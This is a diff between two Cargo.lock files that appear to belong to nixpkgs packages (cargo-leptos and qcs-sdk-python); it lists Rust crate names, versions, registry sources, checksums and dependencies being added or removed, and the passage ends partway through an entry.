a/pkgs/development/tools/rust/cargo-leptos/Cargo.lock b/pkgs/development/python-modules/qcs-sdk-python/Cargo.lock index 9795d382d8b3a..08a2ffb732ac0 100644 --- a/pkgs/development/tools/rust/cargo-leptos/Cargo.lock +++ b/pkgs/development/python-modules/qcs-sdk-python/Cargo.lock @@ -8,7 +8,7 @@ version = "0.21.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8a30b2e23b9e17a9f90641c7ab1549cd9b44f296d3ccbf309d2863cfe398a0cb" dependencies = [ - "gimli 0.28.1", + "gimli", ] [[package]] @@ -18,37 +18,6 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe" [[package]] -name = "adler32" -version = "1.2.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "aae1277d39aeec15cb388266ecc24b11c80469deae6067e17a1a7aa9e5c1f234" - -[[package]] -name = "ahash" -version = "0.7.7" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5a824f2aa7e75a0c98c5a504fceb80649e9c35265d44525b5f94de4771a395cd" -dependencies = [ - "getrandom", - "once_cell", - "version_check", -] - -[[package]] -name = "ahash" -version = "0.8.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "91429305e9f0a25f6205c5b8e0d2db09e0708a7a6df0f42212bb56c32c8ac97a" -dependencies = [ - "cfg-if 1.0.0", - "getrandom", - "once_cell", - "serde", - "version_check", - "zerocopy", -] - -[[package]] name = "aho-corasick" version = "1.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -58,97 +27,91 @@ dependencies = [ ] [[package]] -name = "alloc-no-stdlib" -version = "2.0.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cc7bb162ec39d46ab1ca8c77bf72e890535becd1751bb45f64c597edb4c8c6b3" - -[[package]] -name = "alloc-stdlib" -version = "0.2.2" +name = "ansi_term" +version = "0.12.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "94fb8275041c72129eb51b7d0322c29b8387a0386127718b096429201a5d6ece" +checksum = "d52a9bb7ec0cf484c551830a7ce27bd20d67eac647e1befb56b0be4ee39a55d2" dependencies = [ - "alloc-no-stdlib", + "winapi", ] [[package]] -name = "android-tzdata" -version = "0.1.1" +name = "anyhow" +version = "1.0.75" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e999941b234f3131b00bc13c22d06e8c5ff726d1b6318ac7eb276997bbb4fef0" +checksum = "a4668cab20f66d8d020e1fbc0ebe47217433c1b6c8f2040faf858554e394ace6" [[package]] -name = "android_system_properties" -version = "0.1.5" +name = "approx" +version = "0.5.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311" +checksum = "cab112f0a86d568ea0e627cc1d6be74a1e9cd55214684db5561995f6dad897c6" dependencies = [ - "libc", + "num-complex", + "num-traits", ] [[package]] -name = "ansi_term" -version = "0.12.1" +name = "arc-swap" +version = "1.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d52a9bb7ec0cf484c551830a7ce27bd20d67eac647e1befb56b0be4ee39a55d2" -dependencies = [ - "winapi 0.3.9", -] +checksum = "bddcadddf5e9015d310179a59bb28c4d4b9920ad0f11e8e14dbadf654890c9a6" [[package]] -name = "anstream" -version = "0.6.4" +name = "assert2" +version = "0.3.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2ab91ebe16eb252986481c5b62f6098f3b698a45e34b5b98200cf20dd2484a44" +checksum = "eaf98d1183406dcb8f8b545e1f24829d75c1a9d35eec4b86309a22aa8b6d8e95" dependencies = [ - "anstyle", - "anstyle-parse", - "anstyle-query", - "anstyle-wincon", - "colorchoice", - "utf8parse", + "assert2-macros", + "is-terminal", + "yansi", ] [[package]] -name = "anstyle" -version = "1.0.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7079075b41f533b8c61d2a4d073c4676e1f8b249ff94a393b0595db304e0dd87" - -[[package]] -name = "anstyle-parse" -version = "0.2.2" +name = "assert2-macros" +version = "0.3.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "317b9a89c1868f5ea6ff1d9539a69f45dffc21ce321ac1fd1160dfa48c8e2140" +checksum = "6c55bdf3e6f792f8f1c750bb6886b7ca40fa5a354ddb7a4dee550b93985a9235" dependencies = [ - "utf8parse", + "proc-macro2", + "quote", + "rustc_version", + "syn 1.0.109", ] [[package]] -name = "anstyle-query" -version = "1.0.0" +name = "async-socks5" +version = "0.5.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5ca11d4be1bab0c8bc8734a9aa7bf4ee8316d462a08c6ac5052f888fef5b494b" +checksum = "77f634add2445eb2c1f785642a67ca1073fedd71e73dc3ca69435ef9b9bdedc7" dependencies = [ - "windows-sys 0.48.0", + "async-trait", + "thiserror", + "tokio", ] [[package]] -name = "anstyle-wincon" -version = "3.0.1" +name = "async-stream" +version = "0.3.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f0699d10d2f4d628a98ee7b57b289abbc98ff3bad977cb3152709d4bf2330628" +checksum = "cd56dd203fef61ac097dd65721a419ddccb106b2d2b70ba60a6b529f03961a51" dependencies = [ - "anstyle", - "windows-sys 0.48.0", + "async-stream-impl", + "futures-core", + "pin-project-lite", ] [[package]] -name = "anyhow" -version = "1.0.75" +name = "async-stream-impl" +version = "0.3.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a4668cab20f66d8d020e1fbc0ebe47217433c1b6c8f2040faf858554e394ace6" +checksum = "16e62a023e7c117e27523144c5d2459f4397fcc3cab0085af8e2224f643a0193" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.39", +] [[package]] name = "async-trait" @@ -162,6 +125,17 @@ dependencies = [ ] [[package]] +name = "atty" +version = "0.2.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d9b39be18770d11421cdb1b9947a45dd3f37e93092cbf377614828a319d5fee8" +dependencies = [ + "hermit-abi 0.1.19", + "libc", + "winapi", +] + +[[package]] name = "autocfg" version = "1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -175,7 +149,6 @@ checksum = "3b829e4e32b91e643de6eafe82b1d90675f5874230191a4ffbc1b336dec4d6bf" dependencies = [ "async-trait", "axum-core", - "base64 0.21.5", "bitflags 1.3.2", "bytes", "futures-util", @@ -190,13 +163,7 @@ dependencies = [ "pin-project-lite", "rustversion", "serde", - "serde_json", - "serde_path_to_error", - "serde_urlencoded", - "sha1", "sync_wrapper", - "tokio", - "tokio-tungstenite", "tower", "tower-layer", "tower-service", @@ -236,13 +203,9 @@ dependencies = [ [[package]] name = "base64" -version = "0.9.3" +version = "0.13.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "489d6c0ed21b11d038c31b6ceccca973e65d73ba3bd8ecb9a2babf5546164643" -dependencies = [ - "byteorder", - "safemem", -] +checksum = "9e1b586273c5702936fe7b7d6896644d8be71e6314cfe09d3167c95f712589e8" [[package]] name = "base64" @@ -251,12 +214,27 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "35636a1494ede3b646cc98f74f8e62c773a38a659ebc777a2cf26b9b74171df9" [[package]] -name = "base64-simd" -version = "0.7.0" +name = "bindgen" +version = "0.53.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "781dd20c3aff0bd194fe7d2a977dd92f21c173891f3a03b677359e5fa457e5d5" +checksum = "c72a978d268b1d70b0e963217e60fdabd9523a941457a6c42a7315d15c7e89e5" dependencies = [ - "simd-abstraction", + "bitflags 1.3.2", + "cexpr", + "cfg-if 0.1.10", + "clang-sys", + "clap", + "env_logger", + "lazy_static", + "lazycell", + "log", + "peeking_take_while", + "proc-macro2", + "quote", + "regex", + "rustc-hash", + "shlex", + "which 3.1.1", ] [[package]] @@ -272,18 +250,6 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "327762f6e5a765692301e5bb513e0d9fef63be86bbc14528052b1cd3e6f03e07" [[package]] -name = "bitvec" -version = "1.0.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1bc2832c24239b0141d5674bb9174f9d68a8b5b3f2753311927c172ca46f7e9c" -dependencies = [ - "funty", - "radium", - "tap", - "wyz", -] - -[[package]] name = "block-buffer" version = "0.10.4" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -293,49 +259,12 @@ dependencies = [ ] [[package]] -name = "brotli" -version = "3.4.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "516074a47ef4bce09577a3b379392300159ce5b1ba2e501ff1c819950066100f" -dependencies = [ - "alloc-no-stdlib", - "alloc-stdlib", - "brotli-decompressor", -] - -[[package]] -name = "brotli-decompressor" -version = "2.5.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4e2e4afe60d7dd600fdd3de8d0f08c2b7ec039712e3b6137ff98b7004e82de4f" -dependencies = [ - "alloc-no-stdlib", - "alloc-stdlib", -] - -[[package]] -name = "browserslist-rs" -version = "0.12.4" +name = "built" +version = "0.6.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d9bda9b4595376bf255f68dafb5dcc5b0e2842b38dc2a7b52c4e0bfe9fd1c651" +checksum = "b99c4cdc7b2c2364182331055623bdf45254fcb679fea565c40c3c11c101889a" dependencies = [ - "ahash 0.8.6", - "anyhow", - "chrono", - "either", - "getrandom", - "itertools 0.10.5", - "js-sys", - "nom", - "once_cell", - "quote", - "serde", - "serde-wasm-bindgen", - "serde_json", - "string_cache", - "string_cache_codegen", - "thiserror", - "wasm-bindgen", + "cargo-lock", ] [[package]] @@ -345,26 +274,10 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7f30e7476521f6f8af1a1c4c0b8cc94f0bee37d91763d0ca2665f299b6cd8aec" [[package]] -name = "bytecheck" -version = "0.6.11" +name = "bytecount" +version = "0.6.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8b6372023ac861f6e6dc89c8344a8f398fb42aaba2b5dbc649ca0c0e9dbcb627" -dependencies = [ - "bytecheck_derive", - "ptr_meta", - "simdutf8", -] - -[[package]] -name = "bytecheck_derive" -version = "0.6.11" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a7ec4c6f261935ad534c0c22dbef2201b45918860eb1c574b972bd213a76af61" -dependencies = [ - "proc-macro2", - "quote", - "syn 1.0.109", -] +checksum = "e1e5f035d16fc623ae5f74981db80a439803888314e3a555fd6f04acd51a3205" [[package]] name = "byteorder" @@ -379,77 +292,51 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a2bd12c1caf447e69cd4528f47f94d203fd2582878ecb9e9465484c4148a8223" [[package]] -name = "camino" -version = "1.1.6" +name = "cached" +version = "0.44.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c59e92b5a388f549b863a7bea62612c09f24c8393560709a54558a9abdfb3b9c" +checksum = "b195e4fbc4b6862bbd065b991a34750399c119797efff72492f28a5864de8700" dependencies = [ - "serde", -] - -[[package]] -name = "cargo-leptos" -version = "0.2.5" -dependencies = [ - "ansi_term", - "anyhow", "async-trait", - "axum", - "brotli", - "bytes", - "camino", - "cargo_metadata", - "clap", - "derive_more", - "dirs", - "dotenvy", - "dunce", - "flate2", - "flexi_logger", - "insta", - "itertools 0.11.0", - "lazy_static", - "leptos_hot_reload", - "libflate", - "lightningcss", - "log", - "notify", - "pathdiff", - "reqwest", - "seahash", - "semver", - "serde", - "serde_json", - "tar", - "temp-dir", + "cached_proc_macro", + "cached_proc_macro_types", + "futures", + "hashbrown 0.13.2", + "instant", + "once_cell", + "thiserror", "tokio", - "wasm-bindgen-cli-support", - "which", - "zip", ] [[package]] -name = "cargo-platform" -version = "0.1.5" +name = "cached_proc_macro" +version = "0.17.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e34637b3140142bdf929fb439e8aa4ebad7651ebf7b1080b3930aa16ac1459ff" +checksum = "b48814962d2fd604c50d2b9433c2a41a0ab567779ee2c02f7fba6eca1221f082" dependencies = [ - "serde", + "cached_proc_macro_types", + "darling", + "proc-macro2", + "quote", + "syn 1.0.109", ] [[package]] -name = "cargo_metadata" -version = "0.18.1" +name = "cached_proc_macro_types" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3a4f925191b4367301851c6d99b09890311d74b0d43f274c0b34c86d308a3663" + +[[package]] +name = "cargo-lock" +version = "9.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2d886547e41f740c616ae73108f6eb70afe6d940c7bc697cb30f13daec073037" +checksum = "e11c675378efb449ed3ce8de78d75d0d80542fc98487c26aba28eb3b82feac72" dependencies = [ - "camino", - "cargo-platform", - "derive_builder", "semver", "serde", - "serde_json", - "thiserror", + "toml 0.7.8", + "url", ] [[package]] @@ -458,10 +345,30 @@ version = "1.0.83" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f1174fb0b6ec23863f8b971027804a42614e347eafb0a95bf0b12cdae21fc4d0" dependencies = [ + "jobserver", "libc", ] [[package]] +name = "cexpr" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f4aedb84272dbe89af497cf81375129abda4fc0a9e7c5d317498c15cc30c0d27" +dependencies = [ + "nom 5.1.3", +] + +[[package]] +name = "cfg-expr" +version = "0.15.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "03915af431787e6ffdcc74c645077518c6b6e01f80b761e0fbbfa288536311b3" +dependencies = [ + "smallvec", + "target-lexicon", +] + +[[package]] name = "cfg-if" version = "0.1.10" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -474,66 +381,32 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" [[package]] -name = "chrono" -version = "0.4.31" +name = "clang-sys" +version = "0.29.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7f2c685bad3eb3d45a01354cedb7d5faa66194d1d58ba6e267a8de788f79db38" +checksum = "fe6837df1d5cba2397b835c8530f51723267e16abbf83892e9e5af4f0e5dd10a" dependencies = [ - "android-tzdata", - "iana-time-zone", - "js-sys", - "num-traits", - "wasm-bindgen", - "windows-targets 0.48.5", + "glob", + "libc", + "libloading 0.5.2", ] [[package]] name = "clap" -version = "4.4.10" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "41fffed7514f420abec6d183b1d3acfd9099c79c3a10a06ade4f8203f1411272" -dependencies = [ - "clap_builder", - "clap_derive", -] - -[[package]] -name = "clap_builder" -version = "4.4.9" +version = "2.34.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "63361bae7eef3771745f02d8d892bec2fee5f6e34af316ba556e7f97a7069ff1" +checksum = "a0610544180c38b88101fecf2dd634b174a62eef6946f84dfc6a7127512b381c" dependencies = [ - "anstream", - "anstyle", - "clap_lex", - "strsim", -] - -[[package]] -name = "clap_derive" -version = "4.4.7" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cf9804afaaf59a91e75b022a30fb7229a7901f60c755489cc61c9b423b836442" -dependencies = [ - "heck 0.4.1", - "proc-macro2", - "quote", - "syn 2.0.39", + "ansi_term", + "atty", + "bitflags 1.3.2", + "strsim 0.8.0", + "textwrap", + "unicode-width", + "vec_map", ] [[package]] -name = "clap_lex" -version = "0.6.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "702fc72eb24e5a1e48ce58027a675bc24edd52096d5397d4aea7c6dd9eca0bd1" - -[[package]] -name = "colorchoice" -version = "1.0.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "acbf1af155f9b9ef647e42cdc158db4b64a1b61f743629225fde6f3e0be2a7c7" - -[[package]] name = "console" version = "0.15.7" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -546,26 +419,6 @@ dependencies = [ ] [[package]] -name = "const-str" -version = "0.3.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "21077772762a1002bb421c3af42ac1725fa56066bfc53d9a55bb79905df2aaf3" -dependencies = [ - "const-str-proc-macro", -] - -[[package]] -name = "const-str-proc-macro" -version = "0.3.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5e1e0fdd2e5d3041e530e1b21158aeeef8b5d0e306bc5c1e3d6cf0930d10e25a" -dependencies = [ - "proc-macro2", - "quote", - "syn 1.0.109", -] - -[[package]] name = "convert_case" version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -573,9 +426,9 @@ checksum = "6245d59a3e82a7fc217c5828a6692dbc6dfb63a0c8c90495621f7b9d79704a0e" [[package]] name = "core-foundation" -version = "0.9.3" +version = "0.9.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "194a7a9e6de53fa55116934067c844d9d749312f75c6f6d0980e8c252f8c2146" +checksum = "91e195e091a93c46f7102ec7818a2aa394e1e1771c3ab4825963fa03e45afb8f" dependencies = [ "core-foundation-sys", "libc", @@ -583,35 +436,41 @@ dependencies = [ [[package]] name = "core-foundation-sys" -version = "0.8.4" +version = "0.8.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e496a50fda8aacccc86d7529e2c1e0892dbd0f898a6b5645b5561b89c3210efa" +checksum = "06ea2b9bc92be3c2baa9334a323ebca2d6f074ff852cd1d7b11064035cd3868f" [[package]] -name = "core2" -version = "0.4.0" +name = "cpufeatures" +version = "0.2.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b49ba7ef1ad6107f8824dbe97de947cbaac53c44e7f9756a1fba0d37c1eec505" +checksum = "ce420fe07aecd3e67c5f910618fe65e94158f6dcc0adf44e00d69ce2bdfe0fd0" dependencies = [ - "memchr", + "libc", ] [[package]] -name = "cpufeatures" -version = "0.2.11" +name = "crossbeam" +version = "0.8.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ce420fe07aecd3e67c5f910618fe65e94158f6dcc0adf44e00d69ce2bdfe0fd0" +checksum = "2801af0d36612ae591caa9568261fddce32ce6e08a7275ea334a06a4ad021a2c" dependencies = [ - "libc", + "cfg-if 1.0.0", + "crossbeam-channel", + "crossbeam-deque", + "crossbeam-epoch", + "crossbeam-queue", + "crossbeam-utils", ] [[package]] -name = "crc32fast" -version = "1.3.2" +name = "crossbeam-channel" +version = "0.5.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b540bd8bc810d3885c6ea91e2018302f68baba2129ab3e88f32389ee9370880d" +checksum = "a33c2bf77f2df06183c3aa30d1e96c0695a313d4f9c453cc3762a6db39f99200" dependencies = [ "cfg-if 1.0.0", + "crossbeam-utils", ] [[package]] @@ -639,6 +498,16 @@ dependencies = [ ] [[package]] +name = "crossbeam-queue" +version = "0.3.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d1cfb3ea8a53f37c40dea2c7bedcbd88bdfae54f5e2175d6ecaff1c988353add" +dependencies = [ + "cfg-if 1.0.0", + "crossbeam-utils", +] + +[[package]] name = "crossbeam-utils" version = "0.8.16" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -658,35 +527,12 @@ dependencies = [ ] [[package]] -name = "cssparser" -version = "0.33.0" +name = "ct-logs" +version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9be934d936a0fbed5bcdc01042b770de1398bf79d0e192f49fa7faea0e99281e" +checksum = "c1a816186fa68d9e426e3cb4ae4dff1fcd8e4a2c34b781bf7a822574a0d0aac8" dependencies = [ - "cssparser-macros", - "dtoa-short", - "itoa", - "phf 0.11.2", - "smallvec", -] - -[[package]] -name = "cssparser-color" -version = "0.1.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "556c099a61d85989d7af52b692e35a8d68a57e7df8c6d07563dc0778b3960c9f" -dependencies = [ - "cssparser", -] - -[[package]] -name = "cssparser-macros" -version = "0.6.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "13b588ba4ac1a99f7f2964d24b3d896ddc6bf847ee3855dbd4366f058cfcd331" -dependencies = [ - "quote", - "syn 2.0.39", + "sct 0.6.1", ] [[package]] @@ -709,7 +555,7 @@ dependencies = [ "ident_case", "proc-macro2", "quote", - "strsim", + "strsim 0.10.0", "syn 1.0.109", ] @@ -725,38 +571,10 @@ dependencies = [ ] [[package]] -name = "dary_heap" -version = "0.3.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7762d17f1241643615821a8455a0b2c3e803784b058693d990b11f2dce25a0ca" - -[[package]] -name = "dashmap" -version = "5.5.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "978747c1d849a7d2ee5e8adc0159961c48fb7e5db2f06af6723b80123bb53856" -dependencies = [ - "cfg-if 1.0.0", - "hashbrown 0.14.3", - "lock_api", - "once_cell", - "parking_lot_core", -] - -[[package]] -name = "data-encoding" -version = "2.5.0" +name = "deranged" +version = "0.3.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7e962a19be5cfc3f3bf6dd8f61eb50107f356ad6270fbb3ed41476571db78be5" - -[[package]] -name = "data-url" -version = "0.1.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3a30bfce702bcfa94e906ef82421f2c0e61c076ad76030c16ee5d2e9a32fe193" -dependencies = [ - "matches", -] +checksum = "8eb30d70a07a3b04884d2677f06bec33509dc67ca60d92949e5535352d3191dc" [[package]] name = "derive_builder" @@ -813,54 +631,17 @@ dependencies = [ ] [[package]] -name = "dirs" -version = "5.0.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "44c45a9d03d6676652bcb5e724c7e988de1acad23a711b5217ab9cbecbec2225" -dependencies = [ - "dirs-sys", -] - -[[package]] -name = "dirs-sys" -version = "0.4.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "520f05a5cbd335fae5a99ff7a6ab8627577660ee5cfd6a94a6a929b52ff0321c" -dependencies = [ - "libc", - "option-ext", - "redox_users", - "windows-sys 0.48.0", -] - -[[package]] -name = "dotenvy" -version = "0.15.7" +name = "dircpy" +version = "0.3.15" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1aaf95b3e5c8f23aa320147307562d361db0ae0d51242340f558153b4eb2439b" - -[[package]] -name = "dtoa" -version = "1.0.9" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dcbb2bf8e87535c23f7a8a321e364ce21462d0ff10cb6407820e8e96dfff6653" - -[[package]] -name = "dtoa-short" -version = "0.3.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dbaceec3c6e4211c79e7b1800fb9680527106beb2f9c51904a3210c03a448c74" +checksum = "8466f8d28ca6da4c9dfbbef6ad4bff6f2fdd5e412d821025b0d3f0a9d74a8c1e" dependencies = [ - "dtoa", + "jwalk", + "log", + "walkdir", ] [[package]] -name = "dunce" -version = "1.0.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "56ce8c6da7551ec6c462cbaf3bfbc75131ebbfa1c944aeaa9dab51ca1c5f0c3b" - -[[package]] name = "either" version = "1.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -882,12 +663,46 @@ dependencies = [ ] [[package]] +name = "enum-as-inner" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c9720bba047d567ffc8a3cba48bf19126600e249ab7f128e9233e6376976a116" +dependencies = [ + "heck", + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "env_logger" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "44533bbbb3bb3c1fa17d9f2e4e38bbbaf8396ba82193c4cb1b6445d711445d36" +dependencies = [ + "atty", + "humantime", + "log", + "regex", + "termcolor", +] + +[[package]] name = "equivalent" version = "1.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5443807d6dff69373d433ab9ef5378ad8df50ca6298caf15de6e52e24aaf54d5" [[package]] +name = "erased-serde" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c138974f9d5e7fe373eb04df7cae98833802ae4b11c24ac7039a21d5af4b26c" +dependencies = [ + "serde", +] + +[[package]] name = "errno" version = "0.3.8" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -898,53 +713,24 @@ dependencies = [ ] [[package]] -name = "fallible-iterator" -version = "0.2.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4443176a9f2c162692bd3d352d745ef9413eec5782a80d8fd6f8a1ac692a07f7" - -[[package]] name = "fastrand" version = "2.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "25cbce373ec4653f1a01a31e8a5e5ec0c622dc27ff9c4e6606eefef5cbbed4a5" [[package]] -name = "filetime" -version = "0.2.22" +name = "fixedbitset" +version = "0.4.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d4029edd3e734da6fe05b6cd7bd2960760a616bd2ddd0d59a0124746d6272af0" -dependencies = [ - "cfg-if 1.0.0", - "libc", - "redox_syscall 0.3.5", - "windows-sys 0.48.0", -] +checksum = "0ce7134b9999ecaf8bcd65542e436736ef32ddca1b3e06094cb6ec5755203b80" [[package]] -name = "flate2" -version = "1.0.28" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "46303f565772937ffe1d394a4fac6f411c6013172fadde9dcdb1e147a086940e" -dependencies = [ - "crc32fast", - "miniz_oxide", -] - -[[package]] -name = "flexi_logger" -version = "0.27.3" +name = "float-cmp" +version = "0.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2ac35b454b60e1836602173e2eb7ef531173388c0212e02ec7f9fac086159ee5" +checksum = "98de4bbd547a563b716d8dfa9aad1cb19bfab00f4fa09a6a4ed21dbcf44ce9c4" dependencies = [ - "chrono", - "glob", - "is-terminal", - "lazy_static", - "log", - "nu-ansi-term", - "regex", - "thiserror", + "num-traits", ] [[package]] @@ -963,66 +749,63 @@ dependencies = [ ] [[package]] -name = "fsevent" -version = "0.4.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5ab7d1bd1bd33cc98b0889831b72da23c0aa4df9cec7e0702f46ecea04b35db6" -dependencies = [ - "bitflags 1.3.2", - "fsevent-sys", -] - -[[package]] -name = "fsevent-sys" -version = "2.0.1" +name = "futures" +version = "0.3.29" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f41b048a94555da0f42f1d632e2e19510084fb8e303b0daa2816e733fb3644a0" +checksum = "da0290714b38af9b4a7b094b8a37086d1b4e61f2df9122c3cad2577669145335" dependencies = [ - "libc", + "futures-channel", + "futures-core", + "futures-executor", + "futures-io", + "futures-sink", + "futures-task", + "futures-util", ] [[package]] -name = "fuchsia-zircon" -version = "0.3.3" +name = "futures-channel" +version = "0.3.29" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2e9763c69ebaae630ba35f74888db465e49e259ba1bc0eda7d06f4a067615d82" +checksum = "ff4dd66668b557604244583e3e1e1eada8c5c2e96a6d0d6653ede395b78bbacb" dependencies = [ - "bitflags 1.3.2", - "fuchsia-zircon-sys", + "futures-core", + "futures-sink", ] [[package]] -name = "fuchsia-zircon-sys" -version = "0.3.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3dcaa9ae7725d12cdb85b3ad99a434db70b468c09ded17e012d86b5c1010f7a7" - -[[package]] -name = "funty" -version = "2.0.0" +name = "futures-core" +version = "0.3.29" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e6d5a32815ae3f33302d95fdcb2ce17862f8c65363dcfd29360480ba1001fc9c" +checksum = "eb1d22c66e66d9d72e1758f0bd7d4fd0bee04cad842ee34587d68c07e45d088c" [[package]] -name = "futures-channel" +name = "futures-executor" version = "0.3.29" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ff4dd66668b557604244583e3e1e1eada8c5c2e96a6d0d6653ede395b78bbacb" +checksum = "0f4fb8693db0cf099eadcca0efe2a5a22e4550f98ed16aba6c48700da29597bc" dependencies = [ "futures-core", + "futures-task", + "futures-util", ] [[package]] -name = "futures-core" +name = "futures-io" version = "0.3.29" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "eb1d22c66e66d9d72e1758f0bd7d4fd0bee04cad842ee34587d68c07e45d088c" +checksum = "8bf34a163b5c4c52d0478a4d757da8fb65cabef42ba90515efee0f6f9fa45aaa" [[package]] -name = "futures-io" +name = "futures-macro" version = "0.3.29" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8bf34a163b5c4c52d0478a4d757da8fb65cabef42ba90515efee0f6f9fa45aaa" +checksum = "53b153fd91e4b0147f4aced87be237c98248656bb01050b96bf3ee89220a8ddb" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.39", +] [[package]] name = "futures-sink" @@ -1037,13 +820,21 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "efd193069b0ddadc69c46389b740bbccdd97203899b48d09c5f7969591d6bae2" [[package]] +name = "futures-timer" +version = "3.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e64b03909df88034c26dc1547e8970b91f98bdb65165d6a4e9110d94263dbb2c" + +[[package]] name = "futures-util" version = "0.3.29" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a19526d624e703a3179b3d322efec918b6246ea0fa51d41124525f00f1cc8104" dependencies = [ + "futures-channel", "futures-core", "futures-io", + "futures-macro", "futures-sink", "futures-task", "memchr", @@ -1053,15 +844,6 @@ dependencies = [ ] [[package]] -name = "fxhash" -version = "0.2.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = 